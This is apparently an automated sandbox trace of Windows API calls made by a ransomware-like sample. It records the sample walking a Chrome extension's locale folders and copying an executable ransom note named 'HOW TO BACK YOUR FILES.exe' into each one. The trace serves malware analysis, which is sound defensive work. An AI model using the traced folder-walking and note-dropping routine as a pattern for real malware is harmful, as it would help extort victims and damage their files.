	[0048.799] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr"
	[0048.799] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr"
	[0048.799] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.799] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.803] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.803] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\tr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84212670, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3529c0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3529c0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.803] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.803] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.803] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th"
	[0048.803] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th"
	[0048.803] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.803] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.808] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\th\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8420b140, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3529c0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3529c0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.808] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.808] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.808] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv"
	[0048.808] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv"
	[0048.808] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.808] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.812] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.812] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sv\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84203c10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3529c0f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3529c0f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.812] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.812] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.812] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr"
	[0048.813] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr"
	[0048.813] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.813] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.817] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.817] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841fc6e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x352c2250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x352c2250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.817] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.817] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.817] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl"
	[0048.817] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl"
	[0048.817] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.817] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.821] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.821] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841f51b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x352c2250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x352c2250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.822] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.822] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.822] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk"
	[0048.822] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk"
	[0048.822] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.822] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.826] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.826] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841eb570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x352c2250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x352c2250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.826] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.826] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.826] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru"
	[0048.827] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru"
	[0048.827] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.827] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.830] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.830] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841dcb10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x352c2250, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x352c2250, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.831] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.831] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.831] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro"
	[0048.831] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro"
	[0048.831] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.831] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.835] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0048.835] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841d55e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x352e83b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x352e83b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0048.835] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0048.835] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0048.836] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT"
	[0048.836] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT"
	[0048.836] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0048.836] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0048.839] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
